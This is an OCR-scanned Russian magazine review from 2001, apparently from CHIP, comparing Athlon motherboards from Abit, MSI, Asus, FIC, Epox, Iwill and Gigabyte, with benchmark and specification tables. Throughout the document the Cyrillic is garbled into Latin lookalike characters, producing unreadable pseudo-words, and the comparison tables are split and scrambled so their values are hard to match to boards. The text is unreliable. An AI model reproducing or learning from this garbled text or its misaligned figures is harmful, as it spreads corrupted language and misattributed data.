wyio nnaTc|DopMy. Cpe- 
AM MaTepMHCKMx nnaT c 
HMnceTOM VIA KT133A 
KT 7A ABjiaeTCfl caMOM 
6bicTpoPi m AeiueBOM. nocKonbKy hmk 3 kmx 3aMena- 
hmm b npoAecce TecTMpoBaHMn OTMeneHo He 6bino, 
to OHa 3acny>KMna oijeHKy «0nTMManbHbm Bbi6op». 

MSI K7T Turbo (SDRAM) 

«Typ6o? — cnpawMBa/iM Mbi ce6n nocne nepBbix 
TecTOB. — no noKa3aTennM 6onbine noxo>Ke Ha 


AM3enb». HacmnbKO OTpe3BnnioiAMMM 6bi/i m nep- 
Bbie pe3ynbTaTbi tcctob, KOTopbie nonBMnMCb Ha 
HaweM MOHMTope. OAHaKO o6HOBneHMe BIOS Bee 
>Ke npeBpaTM^o AanHbiM AH3enb b 6onee molahum 
T yp6o-AH3e^b. flawe ot nepBOHana/ibHbix npo- 
6neM coBMecTMMOCTM c Promise-Controller He oc- 
Tanocb m c/ieAa. 



OriTMMA/lbHblM BbISOP 


Abit KT 7 A (SDRAM) 


KoMnpoMMec Ha BbicuieM ypoBHe 





ptch? 


» 06/2001 


MoAepHM3ai4Mn Baiuero I1K He Aon>KHa oOxoAMTb- 
cn c/imlukom Aoporo. KT 7A HBnneTcn orrmivia/ib- 
HbiM peiueHMeM a- na «anrpePiAa». IlnaTa yAobHa b 
npMMeHeHMM m k TOMy >Ke pabOTaeT c HeAoporoPi 
naMHTbio SDRAM. 

Eme HeAaBHo Bbi b/io>kmtim AOHbm b 
SDRAM, a Tenepb BaM npMxoAMTcn 0 TKa 3 aTbcn 
ot Bcero 3 Toro, ybpaB npaKTMnecKM HOBbie mo- 
A y/in b hlamk. Bbi M0>neTe M 36 e>KaTb TaKoro pa 3 - 
BMTMfl COObITMM, npM 3 T 0 M yBe/lMHMB np 0 M 3 B 0 AM- 
TenbHocTb bonee neM Ha 10%. PeiueHMeM 
HB/ineTCfl Mcno/ib 30 BaHMe HMnceTa VIA KT133A 
Ha 06 pa 3 U 0 B 0 -n 0 Ka 3 aTe/ibH 0 M nnaTe 
Abit KT 7A. IIommmo hm 3 kom ueHbi, OHa obnaAa- 


+ OT/iMHHbie noKa3aTe^M, HecMOTpa 
Ha Mcno^b 30 BaHne naMjiTM SDRAM 

+ BbICOKafl CTa6mibHOCTb 
+ BbiroAHaji ueHa 
+ oneHb xopowaa AOKyNieHTaui/ia 
- HeAOCTaTOHHaji molahoctb Kynepa npn pa3roHe 

ueHa/Ka^cTBo □□□□□□□□□ 100 

06mafl oueHKa ■□□□□□BEDE 94 


UeHa: $120 



Ox/ia>KAeHHe ceeepHoro Mocia: Ha n/iaTe Abit Hiin- 
ceT VIA KT133A paOoTaeT Ha nop^AOK HaflewHee 


eT BbICOKOM np0M3B0AMTeUbH0CTbK). 

Aawe noOeAMTenb Haiuero TecTa no- 
Ka 3 a/i yBenMHeHMe npoM 3 BOAMTenbHo- 
CTM B cpeAHeM Ha 5%. npM TeCTMpO- 
b 3 hmm Sysmark HeMHoro 3 aBbiiuaeT 
pe 3 ynbTaTbi, ho Aa>ne npn paOoTe co 
CTaHAapTHbIMM npMUOKeHMHMM Bbi 
nonyBCTByeTe oiAyTMMbiPi npMpocT. K 
CbyHKIAMOHMpOBaHMIO nnaTbl Mbi He 
MMeeM KpMTMHeCKMX 3 aMenaHMM, TaK 
>Ke KaK k McnonHeHMio m pacno/io>Ke- 
hmk) AeTaneM. npaBAa, p,nn Ky/iepoB 
«TMTaHOBOM» cepMM Ha Abit no-npe>K- 
HeMy He xBaTaeT MecTa. Bee APyrne 
cpeACTBa, KOTopbie cocTaBumoT mhct- 
pyMeHTapMPi niobMTeneM pa 3 roHa, 
ecTb b BIOS. Ec/im 6 bi eiAe a obaBMTb 
Ha nnaTy peiueHMe c A>t<aMnepaM, to 
OHO 6 bl paCLUMpM /10 B 03 M 0 >KH 0 CTM Rnft M 3 MeHe- 
HMH HaCTpoeK, HO, K co>KaneHMio, KpOMe Asus M 
Soyo, ero HeT 6 o/ibwe hm y OAHoro M 3 npoM 3 Bo- 
AMTeneM. 

B nabopaTopMM HaM yAa/iocb yBenMHMTb 
CKopocTb nepeAaHM AaHHbix no CMCTeMe b u,e- 
uom (npoueccop — naMHTb — AGP-iuMHa — 
PCI-iuMHa, 6 e 3 yneTa auckobom noACMCTeMbi) 


c 240 M 6 aMT/c ao 280 M 6 aPiT/c (Chip-Bench 
32). Pa 3 yMeeTcn, xopowan MaTepMHCKan nnaTa 
HBnneTcn HenpeMeHHbiM yc/iOBMeM. 

Y Abit OTCyTCTByiOT 3 ByK 0 B 0 M KOHTpo/i/iep 
AC’97 m cuot AMR. 3 aT 0 HaAnncM Ha nnaTe Bbi- 
nonHeHbi AOCTaTOHHO neTKO. Kto He nocKynMTcn m 
Bbino>KMT eiAe $30, nonyHMT KT7A c RAID-kohtpo- 
nepoM ot High Point. 
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CpaBHMTe/ibHoe TecTiipoBamie neTbipex HiincGTOB ajih Athlon 


MxnceT AMD 760 - Jixaep b roHKe! 


Chip-Bench 32: 

Bo Bcex Teciax nunceTOB Mbi 
6pa/in 3a ochoby cpeAHne 
noKa3aie^n paOoTbi Tpex 
/lyniiiMx nRaT. B ashhom Tecie 
3aMepReTCR CKopodb nepe- 
A3HM ASHHblX Me>KAy CPU M 
onepaTMBHoPi naMRTbio. CeH- 
caunoHHbiM cTan pe3y/ibraT 
MSI K7MG Pro, 6naroAapR 
kotopom HkinceT AliMagikl 
(DDR SDRAM) BbimRAHT Ryn- 
LUe, HeM MO>KHO 6bl/10 0>KM- 
AaTb. 


AMD 760 


292 


llllllllllllllllllllllllllll 

AliMagikl (DDR) 


lllllllllllllllllllllll 

AliMagikl (SDR) 


296 

243 


269 

VIA KT 133A 


III Illllllllllllllll 

VIA KT 133 


CKopocTb nepeflanii AaHHbix (MdaiiT/c) 


Sysmark 2000: 

Ted 0 (f)MCHblX npM/ 10 >KeHMM 
Sysmark 2000 paccTaBRReT 
B 03 M 0>K H OCTM HMnceTOB 110 
CBOMM MeCTaM. XOTR 0(t)MCHbie 
npn/io>KeHkm BcerAa xopoiuo 
paOoiaioT npn bhcokom ckopo- 
ctm nepeAann AaHHbix Me>KAy 
npopeccopoM m naMRTbio, TeM 
He MeHee AliMagikl (DDR 
SDRAM) 3aHR/i To/ibKO TpeTbe 
MeCTO. JlMAepOM 3AeCb RBRReT- 
cr AMD 760, KOTopbiM 3Hann- 
TeRbHO OTOpBaRCR OT 6RMROM- 
mero conepHMKa (VIA KT133A). 

3Dmark 2000: 

Ted 3Dmark 2000 ciaB m 
o6a Hkinceia c noAAep>KKOM 
naMRTM DDR SDRAM Ha Be- 
AyiAkie no3ni4MM, OAHano mx 
npeMMyiAecTBO nepeA 
KT133A He cmrib Be/iMKO. 

Ha TpeTbeM Mecie cHOBa 
0Ka3a/icR HkinceT AliMagikl 
c SDR SDRAM. VIA KT133 
AO/i>KeH npn3Haib, hto npo- 
TMB HOBOrO nOKO/ieHMR Hkin- 
ceTOB y Hero HeT hmk 3 kmx 
LU aHCOB. 


■■■■■■■■■■■■■■■■■■■■■■■■■■I 

AMD 760 


llllllllllllllllllllll 

AliMagikl (DDR) 


llllllllllllllllll 

AliMagikl (SDR) 


llllllllllllllllllllll 

VIA KT 133A 


219 

209 

203 

211 


187 

VIA KT 133 

noKa3aie^M padoTbi otpucHbix npuRoweHMM (Sysmarks 2000) 


■■■■■■■■■■■■■■■■■■■■■■■■■■■■ - 

AMD 760 


lllllllllllllllllllllllll 

AliMagikl (DDR) 


llllllllllllllllllll 

AliMagikl (SDR) 


llllllllllllllllllllll 

VIA KT 133A 


7.809 

7.647 

7.718 


7 

VIA KT 133 

noKa3aie;iM b nrpoBbix nporpaMMax (3Dmark 2000) 


Quake 3 Arena: 

3HaMeHMTbiM shooter ot id 
software 6a3npyeTCR Ha API 
OpenGL m oneHb ueHMT 6biCT- 
pbie n^aT(t)opMbi. K yAMB/ie- 
hmk), HkinceT AliMagik (DDR 
SDRAM) OTCTaeT ot VIA 
KT133A. OriRTb Ha BepniMHe 
nbeAecTa^a HenpeB30MAeH- 
HbiM AMD 760. HnnceT c 
noAAepwKOM SDRAM ot kom- 
naHMM AN /imub HeMHorMM 
npeBoexoAMT «no>KMRoro» 

VIA KT133. 


■■ ■■■■■■■■■■■■■■■■■■■■■■■■■I - 

AMD 760 


llllllllllllllllllllll 

AliMagikl (DDR) 


lllllllllllllll 

AliMagikl (SDR) 


llllllllllllllllllllll 

VIA KT 133A 


144 
136 

145 


■■■■■■■■■■I 

VIA KT 133 


noKa3aie;iM Open GL (fps) 


rioc/ie ycrpaHeHMR stmx HeflOcraTKOB n/iaTy 
MO>KHO peKOMeHflOBaTb 6e3 K3KMX 6bl TO HM 6bl- 
ro orpaHMHeHMM. Hawn TecTbi Typ6opeaKTMBHaR 
MSI Bbiflepwa/ia 6e3 npo6^eM. Ilio6nTeRn noKO- 
naTbCR B BIOS M nOMeHRTb HaCTpOMKM yCTpOMCTB 
CMoryT yflOB/ieTBopMTb npaKTMHecKM Bee cbom 
>K e/iaHMR. 

3a flono^HMTe^bHbie $15 mo>kho npno6pecTM 
Promise IDE-RAID-KOHTpo/i/iep, Torfla 3a $130 y 
Bac 6yfleT nRaTa, KOTopaR fleMCTBMTe/ibHo flocra- 
BMT BaM yflOBORbCTBMe. 

Asus A7V133 (SDRAM) 

Hm oflHa ApyraR n/iaTa He npeflocTaBRReT 
CTORbKO B03M0>KH0CTeM fl/lR pa3rOHa. flRR RIO- 
6v\jenev\ nosKcnepi/iMeHTMpoBaTb co cbomm 
npoueccopoM ecTb npexpacHbie BapnaHTbi, Ha- 
npMMep «CTapeHbKMe» B-Athlon mo>kho npn- 
cnoco6MTb arr pa6oTbi Ha FSB 266 MI"a. 3a on- 
peAeReHHyto cyMMy Bbi MOweTe noRynnTb 
Promise IDE-RAID-KOHTpoRRep, KOTopbin mo- 
>neT pa6oTaTb m KaK KOHTpoRRep ULtraDMA 100. 
no npOM3BOAHTeR bHOCTM M CjDyHKAMOHaRbHOCTM 
k A7V133 HeT HMKaKMx npeTeH3nn. Eamhctb6h- 
Hoe, >KaR ko, hto y nRaT Asus MHorAa 6biBaiOT 
npo6ReMbi c HeKOTopbiMM KyRepaMM, Taxocnr- 
HaR KOTOpbIX OHM npOCTO MTHOpMpyiOT. UpV\ OT- 
KRtoneHMM KyRepa mcxoa Athlon MO>neT 
6blTb CMepTeRbHbIM. Ho ASHHbIM HeAOCTaTOK 
CBOMCTBeHeH BceM nRaTaM Asus, npeACTaBReH- 
HbiM b HameM TecTe. 

FIC AD11 (DDR SDRAM) 

HeKOTopbie nRaTbi Bbi BCRenyio M3BReKaeTe M3 
ynaKOBKM m Rnwb TorAa 3aMenaeTe: «Ara, 3 to 
nRaTa FIC». Hm oamh m3 npon3BOAUTeRen He 
yAeRReT CTORbKO bhmm3hmr HecTaHAapTHOMy 
pacnoRO>KeHMio AeTaRen Ha nRaTe. M ecRM co- 
eAMHMTeRbHbm Ka6eRb KyRepa ceBepHoro 
MOCTa, MAyiAMM nepe3 bcio nRaTy, Bbi3biBaeT 
RerKyio ycMemKy, to KOHAeHcaTop, pacnoRO- 

>KeHHblM PRAOM C UOKOReM LjeHTpaR bHOTO 
npoueccopa, y>Ke 6yAMT M3RMLUHMe HepBHbie 
3MOUMM. 

C hmcto TexHMHecKOM tohkm 3peHMR ADll yn- 
peKHyTb He b neM. HunceT AMD Ha nRaTe FIC Bbi- 
nORHReT CBOM CjDyHKAMM 6blCTpO M HaAe>KH0. BaM 
T3K>Ke noHpaBRTCR m HaAnMCM Ha caMoPi nRaTe: 
Bee coeAMHMTeRbHbie npoBOAa m KOHTaKTbi RerKO 
MAeHTMC|DMAMpyiOTCR. 

Epox 8KTA3 (SDR SDRAM) 

Oahm b copeBHOBaHMRx o6ecneHMBaiOT ce6e 
30R0Tyio MeAaRb, TaK >Ke KaK Apyrne cepe6po, 
6poH3y, MeAb, 3 rk)mmhmm... Hnnero, y nRaT 
Epox ecTb Apyrne KanecTBa, KOTopbiMM mo>kho 
noxBacTaTb. HanpMMep, 8KTA3 noKa3aR ce6R 
A0CT3T0 H ho xopomo b HaiRMx TecTax. 06pa3- 
UOBOM RBRReTCR nOBepXHOCTb nRaTbi, B KOTO- 
poPi Aa>Ke hobmhok cmokct pa3o6paTbCR 6e3 
BcnoMoraTeRbHOM RMTepaTypbi. Kto xoneT 3 a- 
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C ro/iOBbi ao «C» oh Becb co3flaH A-na AO- 
MOHCTpaUHH MOLLIHOCTH: MapKHpOBKa «C» 
CTaBMTCB A-n^ FSB 266 Ml"u; npw 200 Ml"u 
Bbi 3flecb yBHAHTe «B». 

ciaBMTb cbom Athlon no6eraib 6bicipee o6bin- 
hoto, HaMfleT b ashhom n/iaTe xopowero noMom- 
HMKa, xota OHa i/i He AOTflri/iBaeT b pa3Hoo6pa- 
3MI/1 npefl/iaraeMbix B03M0>KH0CTeM ao n/iaT ot 
Asus m/i m MSI. fl/ifl /uo6MTe/iePi noKonaTbca b 
HaHMHKe KOMnbioTepa no/ie3HbiM oKaweTCfl mh- 
AHKaiop cocTOAHMfl, KOTopbm b cnynae npo6/ie- 
Mbi BbiAaeT koa owm6km, noAo6HO i/i h ah Kaiopy 
Ha n/iaTax MSI. 

Iwill KA 266 (DDR SDRAM) 

MaTepi/mcKaa n/iaia ot IwiU c Han/iyHiui/iM no- 
Ka3aie^eM CTa6n/ibH0CTM cpeflM n/iaT c HMnce- 
tom ALiMagikl. fl/ifl ashhom no6eAbi KA 266 He 
noTpe6oBa/iocb h m iokmx CBepxHejiOBenecKnx 
yci/ 1 /iMM, AOCTaTOHHO, ec/ii/i k cJdm h i/i my npnxo- 
AMiub Ae/ibiM m 6e3 npoMe>KyTOHHbix Kaiacipoc|3. 
06iAMe noKa3aie^M HaxoflflTCfl Ha ypoBHe /iyn- 
lli mx ruiaT c h m nceTOM VIA KT133A, hto, BBMAy 
BbicoKMx u,en Ha DDR, kohchho, pa3onapoBbiBa- 
eT. Ec/im b BIOS ydaHOBMTb napaMeipbi no 
yMO/inaHM to, to MHorAa xonera BepHyTb Ha3aA 
cbom CTapbiM KT133. TeM He MeHee KA 266 ao- 
6aBM n HeKyio m 3 io m m h K y b o6iamm accopTMMeHT 
npefl/iaraeMoro >Ke/ie3a. 


Asus A7M266 (DDR SDRAM) 

n oa KanoTOM ashhoto arperaTa CKpbiBaeTCfl 
MOiAb A7M266, 3to HyBCTByeTCfl Aa>Ke no 3 Byxy, 
M3AaBaeM0My >Kejie30M (He npocTO ycKopeH- 
hnm, a peaKTMBHbiM rpacjDMHecKi/i mi nopT AGP 
Pro). TeM He MeHee Bapi/iaHT Asus c HMnceTOM 
AMD 760 npoM 3 BOAMT Heo 6 biHHO cyxoe BnenaT- 
zieHMe. CTa6n.nl/i3auMfl HanpfljtceH ha nMTaHMA 
npoueccopa HeAOCTaTOH Ha, TeMnepaTypHbiM 
AaTHMK CPU MCKaTb 6 ecno/ie 3 HO, CKopocTb Bpa- 
menvin Ky/iepa He onpefle/ifleTCfl. Ho caMbiM cy- 
lAecTBeHHbiM HeAOCTaTKOM AB/ifleTCfl tot cJd a KT, 
hto peDKMM AGP 4x pa 6 oTaeT c 60 /ibWMMM npo- 
6 /ieMaMM. C/ieACTBMeM 3Toro AB/ifliOTCfl HeKane- 
CTBeHHoe M3o6pa>KeHMe npu TecTMpoBaH m m b 
3Dmark 2000. KorAa pe>KM m AGP 4x ag3Ktmbm- 
pyera, to KanecTBO M3o6pa>KeHMfl B03pacTaeT, 
HO BCe paBHO OHO He COOTBeTCTByeT ashhom 
Mapxe. 

MSI K7MG Pro (DDR SDRAM) 

l"lo3BOJibTe npeACTaBMTb K7MG Pro, neMnnoHa 
MMpa b AHCAMn^MHax «CKopocTb nepeAaHM 
AaHHbix» m « I/I r p o b bi e bo3mo>khoctm». Xonera 
Ao6aBMTb: «l/l sto Bee, HecMOTpfl Ha h m nceT ALi- 
Magikl». MSI yfla/iocb noKa3aTb, KaKoPi noTeH- 
AMa/i CKpbiT b ashhom HMnceTe — npocTO hm- 
KOMy ApyroMy noKa He yfla/iocb no/iHee 
pacxpbiTb ero bo3mo>khoctm. Ho npM 6o/iee mh- 

TeHCMBHOM TeCTMpOB3HMM Mbl y3HaeM ueHy 
AaHHOMy cfiaKTy. MSI BCTpenaeTCfl c Ko/iocca/ib- 
hnmm pecypcHbiMM npo6/ieMaMM. Ec/in b K7MG 
Mcno/ib3yeTCfl «HenpaBM/ibHbm» PCI-c/iot, a ero 
modkho 6bicTpo o6Hapy>KMTb mnbKO npu H3/1 M- 
HMM nflTM PCI-yCTpOMCTB, TO BMfleOKapTa nO/lHO- 
CTbio ocTaHeTCA 6e3 pecypcoB. B pe3y/ibTaTe 
3Toro Windows pa6oTaeT / im6o b pe>KMMe VGA, 
j\ m6o, hto eiAe xy>Ke, no/iHOCTbio noKpbiBaeTCfl 
ne/ieHoPi Mpaxa. B HaiueM tcctobom 3K3eNin/ifl- 
pe Asa PCI-c/iOTa OKa3a/iMCb Henpn toah biM m 
A/ ifl Mcno/ib30BaHMfl. YTeiueHMeM p,nn HeKOTO- 
pbix MO>KeT, HaBepHoe, noc/iy>KMTb Ha/i MHMe 
3ByKOBOM KapTbi Creative. 



ConeTaHne hgbo3mo>kho: HMnceT AliMagikl noAAepwMBaeT Kan DDR SDRAM, 
Tan h SDR SDRAM, ho He o6a Tuna naivmTM oflHoepeMeHHO 


mor 


6 e 36 ojie 3 HeHHbiii 

nepexofl 

HnnceTbi fl/ifl Athlon ot VIA ywe 
npouj/iM Bee McnbiTaHM a. rioc/ieA- 

HMM M3 nOflflep>KMBaK)lMMX MOfly/lM 
naivi^TM SDR SDRAM HMnceT VIA 
KT133A ObiCTp m HaAe>neH npM ne- 
peflane AaHHbix Me>KAy npouecco- 
poM, nopTOM ycKopeHHoPi rpac|)MKM 
m onepaTM bhom naivmTbio. Ioa, npo- 
meAiiJUM co aha po>KAeHMfl KX133, 
noiue/i 9 \ bho Ha no/ib3y. B ot/imhmg 
ot Hero, o6a HOBbix HMnceTa ot 
AMD M AM TO/lbKO AO/l>KHbl npoMTM 
McnbiTaHM?!, npbirHyB b xo/iOAHyio 
BO Ay, M npM 3T0M /lMLUb HeMHOTMe 
OKa>KyTCfl ACMCTBMTe/lbHO BOAOHe- 
npoHMuaeMbiMM. npe>KAe Bcero 
npeACTaBMTe/iM c HMnceTaivm Ali- 
Magikl flB^fUOTC^ TMnMHHbIMM KaH- 
AMAaTaMM Ha BblOpOC. EAMHCTBeH- 
HbiM MCK/HOHeHMeM ^B^fieTCfi unai3 
Iwill, KOTopaa M3-3a bhcokom npo- 

M3B0AMTe/lbH0CTM M H3A6>KH0CTM 
eAMHCTBeHHaa ocTaHeTca Ha n/iaBy. 
Bo/ibiue HaAG>KAbi noAaiOT n/iaTbi c 
HMnceTOM AMD. no MeHbLuePi Mepe 
MSI m FIC yAa/iocb c noMOiAbio 
AMD 760 CAe/iaTb AOCTOMHoe npo- 
M3BeAeHMe. Ho KaK ywe CTa^o 
bmaho no npoTOTMnaM Asus m Gi- 
gabyte, He/ib3fl c/ieno AOBep^Tb 
nepBoPi nonaBiuePicH n/iaTe, Ha ko- 
TopoPi ycTaHOB/ieH ceBepHbiPi moct 
OT AMD. OCTaeTCH TO/lbKO ODKMAaTb 
pe3y/ibTaT0B ot VIA KT266. fl/ia 
/uobMTe/iePi Bcero hoboto (DDR 
SDRAM) TepneHMe MO>neT OKynMTb- 
ch. Kan 3to npoM30iu/io c KT133, 

OT AMD M AN MODKHO ODKMAaTb, HTO 
mx npoAyKTbi CTaHyT 6o/iee coBep- 
LUeHHblMM. AonO/lHMTe/lbHblM n/uo- 
COM K TOMy BpeMeHM AO/l>KHO CTaTb 
CHM>neHMe ueHbi Ha DDR SDRAM 
— TorAa nepexoA Ha HOByio TexH m- 
Ky CTaHeT n paKTMnecKM 6e36o/ie3- 
HeHHblM. 


Bam noOeAHTe^b... 


...He A0Ji>KeH 6biTb o6H3aTe^bHo 
oahmm M3 HaiuMx! OueHMTe BCe 
CaMM, MCXOAfl M3 COOCTBeHHbIX 
KpMTepMeB, C TeM HT06bl OnTM- 
Ma^bHO Ha/iaAMTb CMCTeMy Rnn 
cbomx noTpe6HOCTeM. 
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MSI K7 Master 

Abit KT7A 

MSI K7T Turbo 

Asus A7V133 

FIC AD11 

UeHa (npMMepHaa) 

$280 

$120 

$115 

$145 

Hen3BecTHa 

Aflpec b MHtepHeTe 

microstar.ru 

abit.nl 

microstar.ru 

asus.com 

fic.com. tw 


06maa oueHKa 

96 % 

94% 

93 % 

93 % 

93 % 

n p0M3B0flMTe/lbH0CTb (40%) 

99% 

96% 

91 % 

95 % 

99% 

CTa6MJlbHOCTb/COBMeCTMMOCTb (40%) 

100 % 

98 % 

97 % 

95 % 

98 % 

KanecTBO (5%) 

88% 

96% 

96 % 

80% 

88% 

OcHameHne/BIOS (5%) 

69 % 

64% 

81 % 

77 % 

47 % 

Bo3MO>KHOCTb pa3roHa (5%) 

67 % 

68% 

84% 

100 % 

63% 

AoKyMeHTauMH/CepBMC (5%) 

100 % 

95 % 

98 % 

83 % 

73 % 

UeHa/KanecTBO 

76 % 

100 % 

91 % 

83% 

- 


klTor 


Cynepnp0M3B0flMTenbH0CTb 
m CTonpoueHTHas 
HaflewHOCTb: y n/iaTbi ecTb 
BCe flOCTOMHCTBa, HT 06 bl 
cTaTb HacToameM 
K/iaCCMKOM 

To, 4TO MO>KHO flOCTMHb 
BbICOKMX pe3y/lbTaT0B 6e3 
floporofi DDR SDRAM — 
Abit A0xa3biBaeT Ha 
npMMepe KT7A 

no/ib30BaTe/in, ueHaiAMe 
CTa6M/lbHOCTb M 
pa3roHaeMOCTb, Bbi6npaK)T 
«Typ6o» 

/lK>6nTe/iM KOMnbtOTepoB, 
npkiCTerHHTecb m 6yflbre 
BHMMaTe/lbHbl — C 3T0M 
naaTOM Bbi 6yfleTe b HMCJie 
nepBbix 

^ynujaa naaTa FIC b stom 
CTO/ ieTMM — HecMOTpa Ha 
He6oabiiJMe M3ijaHbi b 
pa3B0flKe, — BblCLLIHH 
KJiacc 


Benchmark 

3Dmark2000 [6aa/ibi] 

7915 

7669 

7680 

7791 

7855 

Q3A (640x480 @ 16 6mt) [fps] 

152 

147.7 

136.8 

142.6 

151.7 

Sysmark 2000 [6a/uibi] 

219 

212 

209 

213 

218 

Chip-Bench 32 [M6anT/c] 

292.3 

278.7 

251.8 

274.9 

292.9 


TexHMHecKMe flaHHbie 

HnnceT 

AMD 760 

VIA KT133A 

VIA KT133A 

VIA KT133A 

AMD 760 

CeBepHbiM MOCT 

AMD 761 

VT 8363 A 

VT 8363 A 

VT 8363 A 

AMD 761 

IO>KHbm MOCT 

VT 82C686B 

VT 82C686B 

VT 82C686B 

VT 82C686B 

VT 82C686B 

Tun naMSTM 

DDR SDRAM 

SDR SDRAM 

SDR SDRAM 

SDR SDRAM 

DDR SDRAM 

n p0M3B0flHTe/lb BIOS 

Award 

Award 

Award 

Award 

Award 

flata npon3BOflCTBa BIOS 

04.01.01 

15.12.01 

21.02.01 

05.02.01 

03.01.01 


BIOS/OcHaujeHMe 

Pacno3HaBaHne SPD-naMHTM 

• 

- 

• 

• 

• 

Onboard-Sound 

AC 97 

- 

AC 97 

AC 97 

AC 97 

AGP/PCI/ISA-c/iOTbi 

1/5/0 

1/6/1 

1/6/0 

1/5/0 

1/5/0 

USB/AMR/IrDA 

4/1/1 

4/0/1 

4/1/1 

4/1/1 

4/1/1 

USB-3amyiiJKa 

- 

• 

- 

• 

- 

Wake-on-Lan/Wake-on-Modem 

•/• 

•/• 

•/• 

•/• 

•/- 

KoHHexTop rj in xy/iepa 

2 

4 

2 

3 

1 


Overclocking 

HacTOTa CMCTeMHOM ujMHbi/ujar 

100-150 Mru/11 

133-161 MrU/28 

133-166 MrU/33 

95-166MIU/68 

100-150 Mru/11 

MaxcHMa/ibHoe 3HaneHMe 






K03ctxt>nuneHTa yMHOKeHkia 

12.5 

12.5 

12.5 

12.5 

12.5 

MaxcHMa/ibHoe Hanpa>xeHMe 






nmaHiifl npoueccopa 

1.85 Bt 

1.85 Bt 

1.85 Bt 

1.85 Bt 

1.85 Bt 

Pa6oTa xy/iepa 

OTJ1MHHO 

xopoiuo 

OTJ1MHHO 

OT/1MHHO 

yflOBneTBopMTe/ibHo 
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Epox 8KTA3 

Iwill KA 266 

Asus A7M 266 

MSI K7MG Pro 

Gigabyte GA-7DX 

Asus A7A266 

$118 

Hen3BecTHa 

$180 

Hen3BecTHa 

$180 

$175 

epox.ru 

iwill.net 

asus.com 

microstar.ru 

gigabyte.ru 

asus.com 


91 % 

89 % 

84% 

83 % 

77 % 

61 % 

89 % 

95 % 

97 % 

100 % 

97 % 

94% 

98 % 

95 % 

75 % 

70 % 

60 % 

20 % 

96 % 

72 % 

88% 

84% 

100 % 

72 % 

87 % 

64 % 

74% 

85 % 

74% 

91 % 

60 % 

63 % 

58 % 

36% 

29% 

59 % 

91 % 

70 % 

82 % 

89 % 

80 % 

82 % 

91 % 

- 

60% 

- 

56 % 

43 % 


He c/imlukom 6biCTpa, ho 
H afle>KHa, xopowaa flOKy- 
MeHTaLlMH, KaK BbIBOfl — 
He caMan n/ioxaa 
a/ibTepHaTMBa 


/lyHwaa n/iaTa Ha HkinceTe 
AliMagikl, nocKO/ibKy 
eflHHCTBeHHan b cBoefi 
cepkiki OHa flep>KHTCH Ha 
n/iaBy 


noKa3aTe^M xopoiuMe, 
ho pa3pa6oTaHa 
HeflOCTaTOHHO 
ocHOBaie/ibHO, fla 
ki c npo6/ieMaMM AGP 4x 


HecMOTpB Ha HkinceT AN, 
caiviafl 6biCTpan M3 
npoTecTkipoBaHHbix n/iaT, 
3to ocTaB/iaeT Hafle>t<Abi 
Ha 6yflymee, ec/iM, 

KOHenHO, 6yfleT npoBefleHa 
pa6oTa Hafl 0LUM6Kaivm 


B pe>KkiMe AGP 4x 3Ta 
n/iaia CHana/ia BOo6me He 
xoTe^a npoxoflMTb TecTbi, 
Aa ki no flpyrkiM 
napaMeTpaM KapTkiHa 
HeBece/ian 


AocTaTOHHO HenpkiBbiHHoe 
MecTO fl/ia npoflyKTOB 
Asus, ho c flByivm 
3aBkicaHkiHMki Windows 
KpacHan KapTOHKa 
3ac/iy>KeHHa 


7486 

7759 

7860 3DMarks 

7969 3DMarks 

7426 3DMarks 

7699 

134.2 

143.2 

148 

148.8 

152 

139.5 

198 

203 

212 

216 

219 

207 

250.8 

285.9 

286.9 

311.9 

291.6 

282.4 


VIA KT133A 

AliMagikl 

AMD 760 

AliMagikl 

AMD 760 

AliMagikl 

VT 8363 A 

ANM1647 

AMD 761 

ANM1647 

AMD 761 

ANM1647 

VT 82C686B 

Ali 1535 D+ 

VT 82C686B 

Ali 1535 D+ 

VT 82C686B 

Ali 1535 D+ 

SDR SDRAM 

DDR SDRAM 

DDR SDRAM 

DDR SDRAM/SDR SDRAM 

DDR SDRAM 

DDR SDRAM/SDR SDRAM 

Award 

Award 

Award 

Award 

Award 

Award 

31.01.01 

15.02.01 

13.02.01 

14.02.01 

15.11.00 

18.01.01 


• 

• 

• 

• 

• 

• 

AC 97 

C3DXHSP56 

C3DXHSP56 

Creative CT5880 

Creative CT5880 

C3DXHSP56 

1/6/1 

1/5/0 

1/5/0 

1/5/0 

1/5/0 

1/5/0 

4/0/1 

4/0/1 

4/1/1 

4/1/1 

4/1/1 

8/1/1 

• 

- 

• 

- 

- 

• 

•/- 

•/• 

•/• 

•/• 

•/• 

•/• 

3 

3 

3 

2 

3 

3 


124-166 MrU/11 

100-146 MrU/15 

100-133 Mlu/6 

66-133 Mlu/8 

100-133MrU/8 

90-133MHV6 

12.5 

12.5 

. 

. 

. 

_ 

1.85 Bt 

1.85 Bt 

. 

. 

. 

1.85 Bt 

xopoiuo 

yflOB/ieTBopme/ibHo 

xopoiuo 

xopoiuo 

yflo BueTBop men b h o 

xopoiuo 


CHIP 
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nOflBOfl^ HepTy, MO>KHO KOHCTaTMpOBaTb, HTO 
K7MG Pro Bce/iaeT o6ocHOBaHHbie Hafle>Kflbi Ha to, 
hto Henpi/icrynHbie flo HeflaBHero BpeMeHH Bepwn- 
Hbi 6yflyT noKopeHbi. Ho noKa npoMfleHa TO/ibKO no- 
/lOBMHa nyTM. 

Gigabyte GA-7DX (DDR SDRAM) 

CHana/ia xopowa/i HOBOCTb: Gigabyte CHOBa ycTa- 
HOBM/ia Ha cbok) n/iaTy 3ByKOByio KapTy ot Creati- 
ve, M Bbino/iHeHO 3to npeBoexoflHbiM o6pa30M. 

Ho cowa/ieHne Bbi3biBaeT tot cfiaKT, hto GA-7DX 
ocTaB/iiieT Ma/io pecypcoB p,nn AGP 4x. Ilpn aKTM- 
BMpoBaHHOM pe>KMMe AGP 4x y 3Dmark 2000 cob- 
ceM HeT maHCOB p,nn pa6oTbi. HeMHornM y/iynwa- 
era CMTyauMii, Korfla pe>KMM AGP nepeK/noHaera 
Ha OflHy nepeflany Ha3afl, ho BMecTe c 3tmm no- 


HHWaeTCfl H npOM3BOflMTe/lbHOCTb. Taxoro pofla 
npo6/ieMbi ceroflH^i npocTO He flO/UKHbi BbixoflMTb 
Ha noBecTKy aha. KaK «OBepK/ioKep», Bbi TO>Ke 
Aa/iexo He yeAeTe. HacTOTa pa6oTbi FSB bwxoamt 
poBHO Ha ypoBeHb 133 MTa. 06 M3MeHeHnn Ha- 
npflweHMfl nnTaHHa npoueccopa \ aj \ v \ ko3c|3c|dmam- 
eHTa yMHO>KeH i/iii /lynwe npocTO 3a6biTb. 

Asus A7A266 (DDR&SDR SDRAM) 

